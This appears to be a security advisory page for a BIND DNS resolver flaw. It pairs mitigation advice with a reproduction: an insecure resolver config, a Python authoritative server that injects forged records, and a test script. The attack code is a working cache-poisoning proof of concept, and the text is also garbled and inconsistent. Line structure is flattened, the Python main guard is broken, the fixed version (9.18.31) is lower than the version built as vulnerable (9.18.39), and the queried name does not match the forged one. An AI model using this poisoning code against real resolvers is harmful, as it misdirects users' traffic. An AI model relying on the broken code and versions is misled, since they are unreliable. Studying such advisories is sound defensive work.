The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsUpgrade bind to version 9.18.31, 9.20.15, 9.21.14 or higher.
Affected versions of this package are vulnerable to Acceptance of Extraneous Untrusted Data With Trusted Data in the DNS resolver logic when accepting resource records (RRs) in responses. An attacker can compromise the integrity of DNS cache entries by injecting forged resource records into responses, leading to misdirection of network traffic and undermining trust in name resolution.
This vulnerability can be mitigated by restricting recursive queries to trusted or internal networks, applying rate limiting or firewall rules to block excessive requests, enabling DNSSEC validation to reject forged records, isolating recursive resolvers from authoritative servers, and actively monitoring for cache anomalies.
Resolver configuration (repro/named.conf.vuln):
options { directory "."; recursion yes; allow-recursion { any; }; allow-query { any; }; listen-on port 5300 { 127.0.0.1; }; forwarders {}; dnssec-validation no; pid-file "named.pid"; session-keyfile "session.key"; };
zone "victim.test" IN { type forward; forward only; forwarders { 127.0.0.2 port 5301; }; };
Malicious authoritative server (repro/authoritative_poison.py):
#!/usr/bin/env python3 import argparse import sys from dnslib import DNSRecord, RR, QTYPE, A from dnslib.server import DNSServer, BaseResolver, DNSLoggerVICTIM_NAME = "www.victim.test." POISON_NAME = "www.target.example." VICTIM_IP = "198.51.100.10" POISON_IP = "203.0.113.5"
class PoisonResolver(BaseResolver): def resolve(self, request: DNSRecord, handler): reply = request.reply() reply.header.ra = 0 reply.header.aa = 1
qname = request.q.qname if str(qname).lower() == VICTIM_NAME.lower(): reply.add_answer(RR(VICTIM_NAME, QTYPE.A, rdata=A(VICTIM_IP), ttl=120)) reply.add_ar(RR(POISON_NAME, QTYPE.A, rdata=A(POISON_IP), ttl=600)) else: reply.header.rcode = 3 # NXDOMAIN return replydef main(): parser = argparse.ArgumentParser(description="Malicious authoritative DNS server returning unsolicited RRsets") parser.add_argument("--address", default="127.0.0.2") parser.add_argument("--port", type=int, default=5301) parser.add_argument("--verbose", action="store_true") args = parser.parse_args()
resolver = PoisonResolver() logger = DNSLogger(prefix=False) if args.verbose else DNSLogger(prefix=False, log="request,reply,truncated,error") server = DNSServer(resolver, port=args.port, address=args.address, logger=logger, tcp=False) try: server.start_thread() while server.isAlive(): server.join(1) except KeyboardInterrupt: pass except Exception as exc: print(f"[!] Server error: {exc}", file=sys.stderr) sys.exit(1)
if name == "main": main()
Automated scenario (reproduction_steps.sh – excerpt)
#!/usr/bin/env bash set -euo pipefailROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" WORKDIR="$ROOT/workdir" mkdir -p "$WORKDIR"
BIND_PREFIX="/usr/local/bind-9.18.39" BIND_NAMED="$BIND_PREFIX/sbin/named" BUILD_ROOT="$(cd "$ROOT/.." && pwd)/bind-build" TARBALL_URL="https://downloads.isc.org/isc/bind9/9.18.39/bind-9.18.39.tar.xz" ... nohup python "$ROOT/authoritative_poison.py" --verbose > "$WORKDIR/ns_poison.log" 2>&1 & NS_PID=$! ... $BIND_NAMED -c "$ROOT/named.conf.vuln" -p 5300 -d 1 > "$WORKDIR/named.log" 2>&1 & ... DIG_BASE="dig @127.0.0.1 -p 5300 +tries=1 +time=1"
$DIG_BASE www.victim.test A > "$WORKDIR/dig_victim.txt" $DIG_BASE poison.victim.test A > "$WORKDIR/dig_poison_with_attacker.txt"
kill "$NS_PID" $DIG_BASE poison.victim.test A > "$WORKDIR/dig_poison_cached.txt"